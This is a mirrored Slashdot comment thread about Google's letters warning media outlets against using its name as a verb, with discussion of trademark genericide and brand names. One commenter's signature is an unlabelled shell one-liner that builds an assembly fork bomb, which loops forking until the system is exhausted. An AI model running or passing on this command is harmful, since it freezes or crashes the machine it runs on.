Slashdot Mirror
Google Sends Legal Threats to Media Organizations
rm69990 writes "Google, becoming more and more concerned about the growing use of the word google as a verb, has fired off warning letters to numerous media organizations warning them against using its name as a verb. This follows google (with a lowercase g) being added to the Merriam-Webster Dictionary in June. According to a Google spokesperson: "We think it's important to make the distinction between using the word Google to describe using Google to search the internet, and using the word Google to describe searching the internet. It has some serious trademark issues.""
No, this does not make Google evil. Like any company, they have to protect their trademark, or they risk losing it. If some other company can show that people are using the term Google generically (not referring to Google itself), that Google knew about this and did not take action to prevent it, then they can challenge the trademark.
There is no need to speculate as to why they need to do this. Marks work differently than patents or copyright. Failure to defend a mark can allow it to fall into the public domain. Google could lose the exclusive right to use google as a mark. They do not need to pursue every infringement, but need to demonstrate that they are defending the mark. They need to take special care to defend it against significant infringement which could weaken their case for exclusive use. IANAL (as if you couldn't figure this out by my taking time to read and post), but my spouse use to to work in mark protection, so I learned a bit about it.
http://en.wikipedia.org/wiki/Trademark#Maintainin
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Would these be the same media companies whose content Google is stealing on Google News?"
I google the news on Google News a lot. However, I've never seen stolen news there. I've seen copied news, but nothing stolen. I'm always able to find the original source, still there, easily.
Where were you when the voynix came?
Q-tip, Xerox, Escalator, Velcro, and Band-Aid are some more that haven't been mentioned yet.
Wiki entry for Genericized Trademark here
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
I'm probably responding to a troll, but take a gander at this.
I know that in Australia (which counts for nothing) simply acting to defend your trademark is enough to keep it, if you allow people to utilise it and don't protect it you then run into a problem when you try to sue them for millions.
"The stupider people think you are, the more surprised they will be when you kill them..."
Yes. In Britain we use the verb hoover almost always in stead of "vacuum". Some people simply use "sweep". We also, like everyone else, use coke to mean generic cola. But we use photocopy/photocopier and almost never Xerox. We use a plaster and never a Band-Aid. We certainly don't have dumpsters, only bins. We don't use the word Kleenex, we call them tissues. Jell-O is, erm, jelly (your jelly is jam, except when smooth and then its jelly!). Amusingly a news reporter this morning got into a mess when she tried to avoid a proprietry name for a handheld gaming system: "A mother was sure her two small boys would be able to take their (pause) playboys onboard their plane". In fact, apart from Hoover and Coke I think we generally don't use brand names. I await the many corrections.
Read this Wikipedia section about trademark abandonment and genericide and you will understand.
While it's true that Sony lost the Walkman trademark in Austria due to technicalities, it remains under their control everywhere else.
Wait a minute. Doesn't anyone know that the word google isn't a verb, isn't owned by a company, but actually refers to a mathematical number?
Google is a made up word. Googol is a one followed by a hundred zeros.
Trademarking a made-up spelling of a real word is perfectly acceptable, and quite common.
Recursive: Adj. See Recursive.
There is no synthetic gelatin. Vegetarians, Jews, and Muslims would be rejoicing if there were.